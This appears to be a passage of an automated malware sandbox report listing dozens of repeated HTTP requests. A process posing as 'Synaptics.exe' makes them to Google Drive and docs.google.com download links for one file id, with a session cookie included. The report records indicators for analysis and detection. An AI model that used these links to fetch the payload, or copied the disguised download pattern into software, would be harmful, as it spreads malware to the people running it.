Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
